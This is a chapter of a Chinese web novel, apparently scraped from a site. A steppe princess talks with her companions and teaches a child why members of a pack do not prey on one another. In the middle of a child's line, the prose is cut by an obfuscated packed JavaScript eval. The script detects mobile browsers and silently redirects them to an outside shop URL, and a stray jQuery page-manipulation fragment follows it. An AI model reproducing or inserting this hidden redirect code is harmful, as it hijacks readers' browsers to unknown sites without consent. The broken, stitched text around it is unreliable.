48. 滴灌
    到了临走的时候,陈雁行已经和潮珞门聊得火热,很有几分依依不舍。潮珞门更是一路送她们到上南坡的边界,才十步九回头地离开。

    “你们这么投缘?”乌恩其也很意外,这二人的关系好到超出了她的预计。

    陈雁行道:“你做什么事情总还要多考虑些别的,而我和这位公主都是醉心武学之人,与你的追求本质上并不一样。”

    乌恩其说:“的确如此,不过你这么一说,我还有个徒儿,和我学射箭的。你要有兴趣,也去指点她一二?”

    “女子男子?”

    “当然是女子,”乌恩其笑道,“身体可好了,比我侄女还好,悟性也高,是好苗子。”

    陈雁行听她这么一说,自然起了好奇心:“那我倒要见见。别叫你把好苗子糟蹋了。”

    乌恩其翻了她一眼:“你先把草原话学明白再贫吧,别离了我就饿死。”

    “好好好,”陈雁行应答道,又问,“你和那位是表亲的事,还有谁知道?”

    “除了你,再无人知道了,”乌恩其提醒,“你为我的小命着想,嘴上可千万把住门。”

    她敢让陈雁行知道这层关系,自然是有恃无恐,陈雁行一个彻头彻尾的南国人,没了她的庇佑根本无法再草原上立足。

    更何况陈雁行现在要用道的所有证明身份的物件儿都是乌恩其准备的,如果陈雁行想与她翻脸,那就只有兰艾同焚一条路可走。

    这种损人更损己的事情,除非走投无路,谁会愿意做呢?她真心欣赏陈雁行,又是共患难,又是付真心,又是许诺未来的,好不容易才把人带到了草原,自然为的是共赢。

    陈雁行答道:“夸张,你的命就这么挂我嘴皮子上了?”

    “也差不多。”乌恩其说。

    一回到鹿角岘,乌恩其便要着手准备去见喀鲁王了,连轴转弄她也疲惫无比,所以看到裴峋把各项要用的东西都分门别类地整理好时,她心中是非常欣慰的。

    这人做事的风格一贯不张扬,总默默的办掉乌恩其交代给他的事请,而且懂得进退,也从不抢在乌恩其前面。

    凭心而论,有这样省心的下属是一件非常幸运的事情。

    “好好,你辛苦了。”乌恩其道。

    裴峋忙说:“分内之事而已,殿下不必如此,抬举我了。”

    “就说你最省心,不夸着点儿,万一给我撂挑子了可怎么办?”乌恩其随口说道。

    “怎么会?绝不会的。就算您把我发配出去,我也照做。”裴峋笑笑。

    两人正说着话,步阳冲进了王帐来。这孩子很是内敛,甚少露出这样风风火火的样子。乌恩其正好奇,就看见塔拉跟着步阳进来了。

    塔拉这小姑娘是鹿角岘毫无疑问的孩子头,她自幼就很懂得如何领导别人,现如她今年岁稍长,鹿角岘的孩子们不论大的小的、男孩女孩,无不听她的话的。

    平日里,这帮孩子无论去哪玩、玩什么,都要由塔拉来做主,她也不独断专横,总要大家讨论之后她再来拍板。

    乌恩其很认可她,也愿意把自己学到的所有东西都教给这姑娘。

    塔拉闯进来之后,先像乌恩其告罪道:“公主殿下,我擅闯了,请您原谅。”

    又对步阳说:“你不愿意和我们一块儿玩吗?”

    原来是在闹这个。乌恩其了然。

    步阳也不说话,光一个劲往乌恩其和裴峋的身后躲,塔拉尝试靠过去时,乌恩其清楚地看见步阳瑟缩了一下?

    “你们有人欺负她了?”乌恩其问。

    塔拉忙说:“怎么会呢!您常常教我们要和睦友爱,不可随意欺凌别人,这个妹妹又初来咱们这儿,我要欺负她,不显得鹿角岘很坏吗?”

    乌恩其见她俨然一副主人的样子,心里觉得很是可爱,但见步阳如此恐惧,便知背后必有原因,只好先劝走塔拉:“她可能是怕生,你要给她时间适应适应呀。”

    塔拉恍然大悟地点点头,便准备离开,可走到门口又停住了脚步:“殿下……我有个问题……”

    这幅犹犹豫豫的样子不像塔拉平日做派,乌恩其问道:“有什么?尽管说就行。”

    “就是……就是……有人给我说,和睦仁爱一类的是最没用的东西,是驯化绵羊用的。我们是狼,就应该弱肉强食……”

    这话所说的理念,是不少草原人所奉行的。乌恩其对塔拉说:“那你是怎么想的呢?”

    塔拉又纠结了好久,才道:“我想不明白,您说的自然没错,可他们说的,好像也没错。”

    乌恩其表扬她道:“你有问题知道问,这很好。那我再来问你一个问题,他们说咱们是狼,那狼是结群还是独来独往呀?”

    “自然是结群的。”塔拉不假思索道。

    “那就算弱肉强食,狼会去扑食自己的同伴吗?”乌恩其又问。

    “也不会的,”塔拉说完,琢磨过来了,“所以您要我们友爱同伴是对的。”

    乌恩其继续道:“你祖母已经岁数大了,要按弱肉强食的道理来,老人孩子无疑是弱者,可你愿意让她受苦吗?”

    塔拉激动道:“当然不愿意!”

    步阳听她们探讨的有趣,也缓缓探出来半个身子听着。乌恩其感觉到她的动作,轻轻摸了摸她的脑袋,对裴峋说:“你继续讲。”

    裴峋流畅地接上:“你不愿意祖母受苦,因为咱们是人,不是真正的野兽,所以才会有孝悌廉耻之心。你看步阳妹妹比较怕生,你也没有因此欺负她,这里面可研究的东西有很多,不急于一时。”

    塔拉点点头,努力地思考着,就这么晃悠着出去了。

    乌恩其对裴峋说:“我一直觉得没必要早早让孩子去想敌友的问题,孩子看事物总是非黑即白的,我怕他们会偏激。”

    裴峋道:“是啊,可有人的地方,秩序天生就会存在。”

    步阳见塔拉出去了,这才不再躲,慢慢地从他们两背后走道面前来。

    “他们到底有没有人欺负你呢?别害怕,我给你做主。”乌恩其温声道。

    步阳摇摇头又点点头:“……大些的,就是会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050931|136639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打人,抢吃的。”

    她已经能用草原语做一些基本交流,乌恩其一听便反应过来,步阳说的恐怕是她在南国时遇到过的。

    乌恩其叹道:“大家都不饿,就不会有人为了一口吃的做这种事。”

    步阳似懂非懂地点点头。乌恩其本也不强求她一下就融入草原的生活,眼下见她认知不同,便更耐心地安抚她。

    “孟和长老这是给我捡了个孩子啊。”乌恩其笑着向裴峋抱怨。

    孟和本来说自己要亲自教步阳,可一忙起来织金的事儿,根本无暇顾及,乌恩其只好多照拂着一点。

    裴峋也笑:“您不是说放羊嘛,一只也是放,一群也是放。”

    正说着,陈雁行又进来了。如今整个鹿角岘最闲的人怕就是陈雁行,既没什么活要干,也不用操心生计。乌恩其看她无所事事的样子,笑着对她招了招手:“雁行啊,有空吗?”

    “你要干什么?”陈雁行警惕道。

    “步阳这孩子有些怕生,你没事的话多带她玩玩如何?还有我那徒儿,我只教了她射箭,其余都还没教呢,你想不想教一下试试?”

    陈雁行道:“带着玩好说,你的徒儿我就不和你抢了,岁数一大,性情都定型了,不好教呀。”

    乌恩其狡黠一笑:“有好教的,这儿的很多孩子原先都是跟着我学的,底子也有一些。你既然要带步阳,顺手一块带上如何?”

    “在这等我呢!”陈雁行笑着说,“把我大老远捉来给你看孩子,大材小用。”

    “哪有人说自己是大材的?”乌恩其笑她,又说,“一群苗里,指不定就有将来的参天巨树呢!你不想试试发掘他们才能的感觉吗?况且如今天下不定,年轻人就是希望呀。”

    “行,我替你教就是了。”陈雁行爽快答应。

    递了个活出去,既减轻了自己的压力,又给陈雁行找了点事干,乌恩其非常满意。陈雁行本就是雷厉风行的性子,当即就带着步阳出去溜达了。

    “一个两个的。”乌恩其嘴上抱怨,脸上却是笑着的。

    裴峋道:“您分明也乐在其中嘛。”

    乌恩其说:“跟着我,不确定的事情太多了,我到希望这样安稳的日子能长久些,可惜风云变幻谁说的上呢?只能尽我所能让大家的日子好过些。”

    裴峋说:“您不必太顾虑,素夫人他们也罢,陈姑娘与孟和长老也罢……还有我,大家都是想清楚才愿意追随您的,您的梦想也是他们的梦想。”

    “不是你的梦想?”乌恩其故意问道。

    “我的……和大家的不完全一样吧。”裴峋道。

    “是什么?”

    裴峋拒绝道:“不讲给您。”

    “好吧,”乌恩其也不追问,“只要你诚意正心的,别的事我不过问。”

    裴峋说:“对您……我心诚不移……愿向您发誓。”

    乌恩其忙拦住他,把人赶走了,王帐里只剩下她一个。明明很正常地表诚心,她却总感觉有一些别的什么东西,砸吧不出来,又觉得是自己太多疑。